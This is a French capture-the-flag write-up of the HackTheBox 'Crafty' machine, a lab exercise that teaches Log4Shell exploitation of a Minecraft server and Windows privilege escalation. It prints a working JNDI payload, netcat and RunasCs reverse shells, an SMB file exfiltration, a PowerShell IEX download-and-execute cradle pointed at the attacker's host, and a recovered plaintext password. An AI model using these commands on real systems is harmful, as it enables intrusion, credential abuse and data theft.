Crafty - HackTheBox
Vue d'Ensemble
| Propriété | Valeur |
|---|---|
| IP | 10.10.11.249 |
| OS | Windows |
| Difficulté | Easy |
| Points Clés | Minecraft Log4Shell, JAR Reverse Engineering, RunasCs |
Phase 1 : Reconnaissance
Scan de Ports
nmap -p- --min-rate 10000 10.10.11.249
nmap -p 80,25565 -sCV 10.10.11.249
Ports importants :
- 80 : IIS
- 25565 : Minecraft Server 1.16.5
Configuration DNS
echo "10.10.11.249 crafty.htb play.crafty.htb" | sudo tee -a /etc/hosts
Phase 2 : Énumération Web
Scan de Répertoires
feroxbuster -u http://crafty.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Découvertes :
/home- Page d'accueil/coming-soon- Page en construction/img- Ressources images
Note : Site statique avec web.config (règles de rewrite/redirect IIS).
Phase 3 : Exploitation Minecraft - Log4Shell
Identification de la Vulnérabilité
Le serveur Minecraft 1.16.5 est vulnérable à Log4Shell (CVE-2021-44228).
Test Rapide du Protocole
echo -ne "\\xfe\\x01" | nc crafty.htb 25565
Phase 4 : Exploitation Log4Shell
Préparation du POC
Cloner le PoC :
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc
Note : Le PoC nécessite JDK 8 (jdk1.8.0_20).
Lancement du Serveur d'Exploitation
python3 poc.py --userip 10.10.14.6 --webport 8000 --lport 443
Payload généré :
${jndi:ldap://10.10.14.6:1389/a}
Préparation du Listener
rlwrap -cAr nc -lvnp 443
Envoi du Payload
Méthode 1 : Via Minecraft Console Client (MCC)
# Installer MCC
# Connecter au serveur
# Dans le chat, envoyer:
${jndi:ldap://10.10.14.6:1389/a}
Méthode 2 : Via script Python
import socket
server = "10.10.11.249"
port = 25565
payload = "${jndi:ldap://10.10.14.6:1389/a}"
# Envoyer le payload via le protocole Minecraft
Résultat : Shell en tant que crafty\svc_minecraft.
🚩 Flag User
type C:\Users\svc_minecraft\Desktop\user.txt
🚩 Flag User: HTB{...}
Phase 5 : Post-Exploitation - Récupération du Plugin
Exploration du Serveur
dir C:\Users\svc_minecraft\server
dir C:\Users\svc_minecraft\server\plugins
Fichiers trouvés :
server.jarplugins\playercounter-1.0-SNAPSHOT.jar
Exfiltration du JAR
Sur l'attaquant :
sudo impacket-smbserver smbShare $(pwd) -smb2support -username eggsec -password eggsec123
Sur la cible (PowerShell) :
net use \\10.10.14.6\smbShare /u:eggsec eggsec123
copy C:\Users\svc_minecraft\server\plugins\playercounter-1.0-SNAPSHOT.jar \\10.10.14.6\smbShare\
Phase 6 : Reverse Engineering du Plugin
Analyse avec JD-GUI
jd-gui playercounter-1.0-SNAPSHOT.jar
ou
unzip playercounter-1.0-SNAPSHOT.jar
Découverte des Credentials
Dans playercounter.Playercounter.class :
Rcon rcon = new Rcon("127.0.0.1", 27015, "s67u84zKq8IXw".getBytes());
Credentials RCON trouvés :
- Host : 127.0.0.1
- Port : 27015
- Password :
s67u84zKq8IXw
Phase 7 : Escalade Root
Test des Credentials
Hypothèse : Le mot de passe RCON pourrait être réutilisé pour l'utilisateur Administrator.
Utilisation de RunasCs
Transfert de RunasCs.exe :
certutil -urlcache -split -f http://10.10.14.6:8080/RunasCs.exe RunasCs.exe
Test d'authentification :
.\RunasCs.exe Administrator s67u84zKq8IXw "cmd /c whoami"
Résultat : crafty\administrator
Obtention d'un Shell Administrateur
Méthode 1 : Reverse shell direct
.\RunasCs.exe Administrator s67u84zKq8IXw cmd -r 10.10.14.6:443
Méthode 2 : PowerShell reverse shell
.\RunasCs.exe Administrator s67u84zKq8IXw "powershell -c IEX(New-Object Net.WebClient).downloadString('http://10.10.14.6/shell.ps1')"
🚩 Flag Root
type C:\Users\Administrator\Desktop\root.txt
🚩 Flag Root: HTB{...}
Compétences Développées
- Exploitation de Log4Shell (CVE-2021-44228)
- Manipulation du protocole Minecraft
- Reverse engineering de fichiers JAR
- Exfiltration via SMB
- Utilisation de RunasCs pour escalade de privilèges Windows
Outils Utilisés
nmap- Reconnaissance réseauferoxbuster- Énumération web- Log4j-shell-poc - Exploitation Log4Shell
- Minecraft Console Client - Interaction avec le serveur
jd-gui- Décompilation Javaimpacket-smbserver- Serveur SMBRunasCs- Exécution de commandes Windowsrlwrap+nc- Reverse shell
Bonnes Pratiques
- Mettre à jour Log4j vers une version non vulnérable
- Ne jamais embarquer de credentials en clair dans les plugins
- Restreindre l'accès aux services RCON
- Utiliser des mots de passe uniques par service
Références
- CVE-2021-44228 - Log4Shell
- Log4j-shell-poc : https://github.com/kozmer/log4j-shell-poc
- RunasCs : https://github.com/antonioCoco/RunasCs